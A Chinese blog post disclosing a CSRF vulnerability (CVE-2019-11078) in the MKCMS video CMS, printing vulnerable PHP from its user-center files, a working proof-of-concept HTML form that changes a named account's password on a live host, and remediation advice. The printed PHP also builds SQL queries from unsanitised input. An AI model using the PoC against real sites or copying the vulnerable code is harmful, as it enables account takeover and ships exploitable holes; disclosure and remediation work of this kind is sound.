米酷影视CMS后台CSRF漏洞的发现及建议。米酷影视源码免费下载.

2019年12月31日22:48:33 发表评论 168

米酷影视CMS后台CSRF漏洞的发现及建议。米酷影视源码免费下载.

一、漏洞摘要

漏洞名称: MKCMS存在CSRF漏洞

上报日期: 2019-04-04

漏洞发现者: cisk

产品首页: https://micool.net/1090.html

软件链接: https://www.lanzous.com/i2ipcre

版本: V5.0

CVE编号: CVE-2019-11078

紧急解决方法:把ucenter目录删除,这样会员功能失效。

二、漏洞概述

以米酷6.0为例:

CSRF: ucenter/userinfo.php

-----------------------

<?php include('../system/inc.php');
if(!isset($_SESSION['user_name'])){
alert_href('请登陆后进入','login.php');
};
if ( isset($_POST['save']) ) {
null_back($_POST['u_password'],'请填写登录密码');
$result = mysqli_query($conn,'select * from mkcms_user where u_name="'.$_SESSION['user_name'].'"');
if($row = mysqli_fetch_array($result)){
if ($_POST['u_password'] != $row['u_password']) {
$_data['u_password'] = md5($_POST['u_password']);
}
else{
$_data['u_password'] = $_POST['u_password'];
}
}

$_data['u_email'] = $_POST['u_email'];
$_data['u_phone'] = $_POST['u_phone'];
$_data['u_qq'] = $_POST['u_qq'];
$sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
if (mysqli_query($conn,$sql)) {
alert_href('修改成功!','userinfo.php');
} else {
alert_back('修改失败!');
}
}
?>
------------------------

CSRF: ucenter/active.php,等等有好几个文件……

------------------------------------

<?php
include('../system/inc.php');
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysqli_query($conn,"select u_id from mkcms_user where u_question='$verify'");
$row = mysqli_fetch_array($query);
if($row){
echo $row['u_id'];
$sql = 'update mkcms_user set u_status=1 where u_id="'.$row['u_id'].'"';
if (mysqli_query($conn,$sql)) {

alert_href('激活成功!','login.php');
}
}else{
$msg = 'error.';
}
echo $msg;

?>

-------------------------------

post请求中没有带token,也没有验证Referer,导致产生csrf漏洞

三、利用方法

构造如下poc.html,并访问poc.html;将修改lduo123账号的密码
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://v.micool.top/ucenter/userinfo.php" method="POST">
<input type="hidden" name="u&#95;name" value="lduo123" />
<input type="hidden" name="u&#95;password" value="123456" />
<input type="hidden" name="u&#95;phone" value="1314520" />
<input type="hidden" name="u&#95;qq" value="" />
<input type="hidden" name="u&#95;email" value="admin&#64;gmail&#46;com" />
<input type="hidden" name="save" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

四、CSRF漏洞的危害及修复建议

利用CSRF漏洞,会对网站以及用户有什么危害呢?
1. 配合XSS漏洞可造成蠕虫病毒攻击。
2. 可以更改用户的密码
3. 更改(商城ecshop等开源程序)用户收货地址用户所有可以在网站操作的,黑客都可以利用CSRF漏洞去操作。只需要构造PoC代码,伪造请求让受害者点击就可以执行漏洞。简单点来说,B以A的身份执行了A可以执行的操作,当然,我们这里B是黑客,A是用户。 CSRF漏洞修复安全建议
通过token或者session来判断当前用户身份,检查POST来路Referer,在POST的信息中加token机制。 用户的一些敏感操作需要验证码,更改密码需要验证之前的老密码。验证HTTP Referer字段在请求地址中添加token并验证,在HTTP头中自定义属性并验证

防御建议

1、增加验证码机制

2、增加一个随机生成的参数token,后台处理时进行验证

感谢来访黑猫博客,希望此篇文章对您有所帮助,赞助本站写出更多对你有帮助的文章:点击打赏
广告也精彩
黑猫

发表评论

您必须登录才能发表评论!